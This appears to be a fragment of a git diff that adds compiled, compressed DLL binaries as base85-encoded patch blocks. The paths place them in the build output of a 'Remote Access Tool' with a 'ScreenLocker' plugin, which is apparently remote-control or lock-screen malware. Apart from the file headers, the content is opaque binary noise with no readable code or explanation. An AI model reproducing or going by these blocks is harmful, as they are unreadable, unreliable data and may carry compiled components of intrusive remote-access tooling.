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 literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..1de34303e18a6ad3dc2586ac5021909e1e009b32 GIT binary patch literal 31377 zcmZs=cT^Kw_^*G?LFFhS(nJa6Nbg7s9aNv!+E>;5s%y!&}Sdy_?0_DnJ@nWV1_3>S{B)`o3_xu1qTrRNrT z`f8lyUF@hZ$-7ac+SA0_UqV=(ef#HOW;M%yAy&^Qsr`*;{M8NMupz&kSpHmjaUQYFey;uTaxpk} z4=cNKxm_pyv+-N2RlobY(9e7pE0)zYyTwW5J!f=ce3lChxb|QFUiIUX&yxj?r?j$( z@?TwdDGTPC*pJra>^`xkv6zeE4>P9-L9->5@~Vl{jj!7nq|9i(P1lq{|)RG#&@)tWISU$pn;@5eA?Pd#qc z(|)r)j#bX6Gj$H7HJ`dK;;c*;H=cxq2!*+(kr`aP+V6(*^7PqeamkLTXbsas<8!5kH8NrT!hTLs{(mPGV|Tai$C zlv;8XSa3+aq$gFihmzrITeJQ1_pJlS~~;Ss9D#tck>ukU?2{mEM8xOmkswd1=+2 